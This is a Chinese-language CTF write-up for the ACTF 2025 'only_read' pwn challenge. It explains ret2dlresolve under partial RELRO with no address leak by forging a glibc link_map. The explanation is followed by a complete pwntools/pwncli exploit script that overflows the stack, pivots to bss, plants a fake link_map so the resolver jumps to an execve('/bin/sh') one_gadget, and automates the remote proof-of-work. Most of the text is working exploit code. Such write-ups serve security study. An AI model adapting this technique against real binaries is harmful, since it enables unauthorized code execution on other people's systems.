这题考点就是linkmap挟持的dlresolve

partial reloc 不能leak下的ret2dlresolve

利用思路还是伪造link_map

因为不能leak,这里走的链子是

  
  
  const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

  const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);

  const PLTREL *const reloc
    = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  const ElfW(Sym) *refsym = sym;
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
  
  
  
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // not enter
	  {
		  ...
	  }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true)); // this way
      result = l;
    }

这里计算地址最后的展开是

#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

#define SYMBOL_ADDRESS(map, ref, map_set)				\\
  ((ref) == NULL ? 0							\\
   : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0			\\
      : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

也就是l_addr + sym→st_value

因为我们不知道地址,所以l_addr不能和之前一样填libc地址

构造sym在got表附近,让sym→st_value的值为libc地址,而l_addr设置为偏移

由于got表附近很多值,非常容易满足__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) != 0 条件

其他的表动态调调构造风水即可

虽然看上去比较丑陋,但是布局应该通用


writable_addr = bss_addr + 0xa0 - 0x80

pltgot_addr = writable_addr+0x20
symtab_addr = writable_addr
strtab_addr = writable_addr+0x10
jmprel_addr = writable_addr+0x60

target_offset = 0xef52b
# target_offset = libc.sym['exit']

l_addr = (target_offset - libc.sym['read']) & 0xffffffffffffffff

fix = (0-l_addr + writable_addr+0x800) & 0xffffffffffffffff

fake_link_map = flat([
    l_addr, # l_addr
    # symtab here
    0x403fe8+0x10, # sym->st_value
    # reloc
    # """
    # r_offset = 0,
    # r_info = 7,
    # r_addend = 0
    # """
    fix,
    7,
    # 0, # l_name
    # 0, # l_ld
    # 0, # l_next
    0, # l_prev
    0, # l_real
    0, # l_ns
    0, # l_libname
    0, 0, 0, pltgot_addr, 0, strtab_addr,symtab_addr, # now idx = 6
    [0]*(22-6), jmprel_addr,
])

EXP

#!/usr/bin/env python3
# Use pwncli
# Date: 2025-04-26 18:11:55
# Editor: hkbin
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc -b \\$rebase\\(0x3000\\)
#     Remote: python3 exp.py remote elf-file-path ip:port
import sys
sys.path.append('/home/hkbin/.local/bin/pwncli')

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

context.arch="amd64"
file_path = "/home/hkbin/Workspace/competition/2025ACTF/only_read/pwn"

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt):
    sla(prompt, i)

def add():
    cmd('1')
    #......

def edit():
    cmd('2')
    #......

def show():
    cmd('3')
    #......

def dele():
    cmd('4')
    #......

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)

# burp:
# for i in range(0x10):
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()

# stack = link_map & stack-0x8 = (got offset)

# stack hijack

"""
writable_addr    = 可控区域
known_libc_RVA   = 已解析的函数在ELF中的偏移,如elf.sym['__libc_start_main']
call_libc_RVA    = 想要解析的函数在ELF中的偏移,如elf.sym['execve']
known_elf_got_VA = 已解析的函数对应的GOT表项在内存中的虚拟地址 
"""

_dl_runtime_resolve = 0x401026

ret = 0x000000000040101a

write_again = 0x401142
bss_addr = 0x404018+0x500

writable_addr = bss_addr + 0xa0 - 0x80
known_libc_RVA = libc.sym['read']
call_libc_RVA = libc.sym['system']
known_elf_got_VA = elf.got['read']
custom_data = b"/bin/sh\\x00"

REMOTE = True

if REMOTE:
    ru("Submit the token generated by `hashcash -mb26 ")
    calc_data = r(9).decode()

    import subprocess

    log2_ex(calc_data)

    result = subprocess.run(f"hashcash -mb26 {calc_data}", shell=True, capture_output=True, text=True)

    log2_ex(result.stdout)

    sl(result.stdout)
    ru("Here is your challenge~")

payload = flat([
    b'a'*0x80,
    bss_addr,
    write_again
    # b'b'*0x20,
    # b'\\x30'
])

s(payload)

pltgot_addr = writable_addr+0x20
symtab_addr = writable_addr
strtab_addr = writable_addr+0x10
jmprel_addr = writable_addr+0x60

target_offset = 0xef52b
# target_offset = libc.sym['exit']

l_addr = (target_offset - libc.sym['read']) & 0xffffffffffffffff

fix = (0-l_addr + writable_addr+0x800) & 0xffffffffffffffff

fake_link_map = flat([
    l_addr, # l_addr
    # symtab here
    0x403fe8+0x10,
    # reloc
    # """
    # r_offset = 0,
    # r_info = 7,
    # r_addend = 0
    # """
    fix,
    7,
    # 0, # l_name
    # 0, # l_ld
    # 0, # l_next
    0, # l_prev
    0, # l_real
    0, # l_ns
    0, # l_libname
    0, 0, 0, pltgot_addr, 0, strtab_addr,symtab_addr, # now idx = 6
    [0]*(22-6), jmprel_addr,
])

payload = flat([
    b'a'*0x80,
    writable_addr+0xa00,
    _dl_runtime_resolve,
    writable_addr,
    0,
    fake_link_map,
])

pause()
s(payload)

ia()

"""

0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
"""